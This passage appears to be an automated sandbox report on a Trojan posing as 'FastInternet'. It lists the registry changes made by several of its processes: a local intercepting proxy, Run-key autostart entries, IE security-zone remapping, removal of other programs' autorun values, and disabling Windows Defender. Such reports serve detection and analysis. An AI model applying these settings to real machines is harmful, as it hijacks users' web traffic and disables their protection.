"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 B5 E0 01 CC 5C C8 26 6F CA 92 9D 0C 97 28 13"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"-loopback>

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:424 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 03 00 00 00 03 00 00 00 28 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation" = "Pn"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 03 00 00 00 28 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastIn]
"UninstallString" = "%Program Files%\FastInternet\dotuninstall.exe"

[HKLM\SOFTWARE\dingdongde]
"dingdongde" = "ok"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel]
"proxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastIn]
"DisplayName" = "FastInternet"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"proxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxySettingsPerUser" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE C1 E5 0E BA 73 03 7A 57 A3 38 8E 10 BF 16 D6"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation" = "Pn"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastIn]
"Publisher" = "Dotdo"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"-loopback>-loopback>

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"interpee" = "C:\a\internetport3.exe"

"dutoauto" = "C:\a\wincheckfe.exe"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"cutoauto" = "C:\a\wincheckfe.exe"

"interpee" = "C:\a\internetport3.exe"

"autoauto" = "28211531.bat"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"rutoauto" = "28211531.bat"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process EwyLuFd30KHCoG0EFQa8.exe:1608 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation" = "Po"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 27 00 00 00 03 00 00 00 28 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel]
"proxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"proxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

[HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxySettingsPerUser" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 24 E7 4B BF F0 7F 4A 5E 0C FB 4C 12 6D F7 FC"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation" = "Po"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"-loopback>-loopback>

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Adobe ARM"

"VMware User Process"

"SunJavaUpdateSched"

The process getcap.exe:336 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "37 AC 44 6F 6E BF B4 C4 D6 CE 0A 2F 8D 1E CC 73"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process internetport3.e:2012 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 03 00 00 00 29 00 00 00"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\internetport3\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 04 00 00 00 03 00 00 00 29 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""
"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877;"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 72 4F B0 5B 62 5E 36 CA 81 E1 BC B2 F5 BE F3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\FiddlerCore\Dynamic]
"Attached" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"-loopback>

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\internetport3\DEBUG]
"Trace Level"

The process WMIC.exe:552 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "49 32 47 2E 33 9F D8 5E 3C 8B C9 35 6A 87 4C EC"

The process wincheckfe.exe:512 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "69 99 6B 98 80 01 91 80 B9 CD 3F F2 D7 53 94 C2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process wcheckf.exe:1828 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation" = "Pn"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 24 00 00 00 03 00 00 00 28 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A9 0B 2C C4 66 88 30 06 2F 58 F0 C4 8A C2 97 96"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation" = "Pn"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Isolation64Bit" = "0"-loopback>

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process vchk.exe:732 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3B 2D 91 14 08 2A E7 94 58 CD CA F3 A1 8F 21 FB"

